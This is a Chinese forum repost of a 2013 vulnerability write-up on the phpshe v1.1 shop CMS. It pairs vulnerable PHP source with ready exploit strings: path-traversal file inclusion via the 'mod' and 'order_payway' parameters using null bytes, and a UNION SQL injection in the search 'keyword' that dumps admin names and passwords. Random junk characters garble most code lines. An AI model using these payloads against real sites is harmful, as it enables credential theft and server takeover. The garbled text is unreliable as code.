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标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-16 16:45
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
  [" g# u5 V9 A7 f/* Phpshe v1.1 Vulnerability! n  \* B; i2 o/ A3 \  D, D
/* ========================! `: a3 {. l" X" m2 }
/* By: : Kn1f3
. r! o8 {# u5 M1 s/* E-Mail : 681796@qq.com& n1 E* g$ ?* p/ f  m
/*******************************************************/' P" [. ^2 K8 y1 P, w
0×00 整体大概参数传输% d& i' Z) d4 d+ [1 [+ h
, ^! ?, H+ l- \; p8 x- m$ a4 d

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//common.php( J# G. c( d) l0 Y1 c5 y9 u% [
if (get_magic_quotes_gpc()) {) K( t" P# _  A5 k2 v
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');: @6 Q; C" x3 ?6 _; P
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
# u; D# o& s5 @$ T  u/ X6 z}
) n% L9 G% g& W3 r& R8 gelse {
9 z- W& n4 Z+ ~8 Q) y8 L6 p' I" P- z!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');1 c: K" O7 Z. r( v  \0 l( D, c
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
9 C2 ]9 ^& L! p; U}# @. V8 ~, T% e  w/ {$ q
session_start();$ n$ K; E2 C: j
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');1 s$ [( G/ J1 S0 n6 L4 n+ N
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');) W& \* @$ I4 g" O# P

+ ?; `7 r5 ]& ]1 z& h: g% Y+ j0×01 包含漏洞
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# x2 x" q' \' d3 n8 P//首页文件4 E- U3 {* d5 _) W" G
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
# n. S( _/ Q4 n- cinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
9 b% X! z% x8 [" L9 H, A- s* ?pe_result();
4 a+ j/ c8 N" V+ F$ Z7 t?>
. @6 R: }) T' P//common 文件 第15行开始6 y" r+ j& z( _4 X, I
url路由配置* O- z1 W9 f/ c
$module = $mod = $act = 'index';+ q2 k) A( F$ Y  V2 _  M
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);3 F  `2 {7 [7 P) O( p  q2 z% }
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
, i0 k5 ~; z0 ^1 A* G* G1 C8 v. ~9 {$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
9 y- \8 j  P8 d' Q//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
& L2 t# d1 }  }4 [& G# j


$ e6 e! W6 c9 V: q; Z5 q
9 k8 y8 b- ]: P; H; T 0×02 搜索注入
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<code id="code2">

//product.php文件8 v8 B, s: D0 G3 e7 a
case 'list':/ L$ f4 e7 C% ]( c( E
$category_id = intval($id);
' G0 ~$ R: P- H$ |+ x# z+ G$info = $db->pe_select('category', array('category_id'=>$category_id));0 s# m+ x. m: X, w: W# S
//搜索
0 E5 T! u+ f6 Y6 F% y/ y: r$sqlwhere = " and `product_state` = 1";
, v' `; m+ V! |5 {+ jpe_lead('hook/category.hook.php');
# L9 y0 u: Q8 M/ M, Vif ($category_id) {
; F& N% y6 C2 P. i5 Kwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
6 \0 s$ I) w; I& H3 \! ~}6 T/ T; |2 k) y9 J( T0 M
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤- a0 f1 R$ M- c% U" {" w) Y
if ($_g_orderby) {. z: O9 o: g  J* ?4 X$ z% H0 t! @
$orderby = explode('_', $_g_orderby);
0 `% `$ G  H, p! Y( {/ g+ ?$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
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else {
' `' o$ R4 M9 r, |0 }  b4 B: v$sqlwhere .= " order by `product_id` desc";
* G6 a6 L; v" {4 ?, x* `9 J9 k}
0 c" J" r4 w1 v' q8 Y& N. l$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));  {( x: S7 @" z5 o
//热卖排行, T6 ~9 j2 {7 f
$product_hotlist = product_hotlist();
6 }3 Y0 ~/ [0 r4 a# x4 o//当前路径
& M/ m0 u' N& e! h7 u$nowpath = category_path($category_id);( }) R% f6 w" \, x8 [* z
$seo = pe_seo($info['category_name']);
! L* @% i6 R: w9 T! s3 ?' w6 Cinclude(pe_tpl('product_list.html'));$ x& A1 d$ G# R% ?# Q8 c* k0 U$ Y
//跟进selectall函数库
$ w: p) }  b% M, A6 @9 `: \6 [public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
$ ^  b* l4 V2 J9 j2 ~) B) W{
! Z# T: [; O$ ~5 m//处理条件语句
3 o" w: C9 Y: b6 c$sqlwhere = $this->_dowhere($where);( c( Q: Q; r8 x  \1 ]5 T' z
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
/ g6 l" Y9 R; k}
( U* g' e2 ~: ^//exp6 m6 @; N! R# [+ w* `* a
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
+ H# H3 b, M! j

</code>) g/ e. r! D3 b& z. q

/ \% i. ^: q2 l  p' f' W) _. S0×03 包含漏洞2
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4 z# x2 r4 l, ~<code id="code3">

//order.php

case 'pay':


& @! v4 y1 n8 f4 H0 P! U: v) X$order_id = pe_dbhold($_g_id);

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$cache_payway = cache::get('payway');


# u# p( e5 w* ^foreach($cache_payway as $k => $v) {


$ l/ v/ g: W& o5 x/ @; F/ G, B1 H$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

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if ($k == 'bank') {

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$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


/ S* J9 s# y3 U}

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}


, y$ R4 F( Z: o' d2 N+ `$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


; X. _; w& z) @) p* U1 Z! Z!$order['order_id'] && pe_error('订单号错误...');

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if (isset($_p_pesubmit)) {


& Y$ D+ M: ~5 i7 h( cif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

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$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

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foreach ($info_list as $v) {


" S2 z$ z" H. [$order['order_name'] .= "{$v['product_name']};";  M! E8 h$ v7 j2 o8 N

8 ?) S# |$ _  F/ l7 f& Z( c3 \7 N
}


% N7 W* x1 A+ Q3 Z6 necho '正在为您连接支付网站，请稍后...';

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include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

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}//当一切准备好的时候就可以进行"鸡肋包含了"

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else {

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pe_error('支付错误...');


! K, v  b5 F0 o5 G3 C" L1 G}

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}


* n1 ]. o. A# ]; H- J. p, Y- G% {$seo = pe_seo('选择支付方式');


" A, z; K5 e1 `# @& c7 Rinclude(pe_tpl('order_pay.html'));


3 B) ?' v. I* V+ L4 p" Ubreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
6 ~5 q% A# B+ X! \2 p! hhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg



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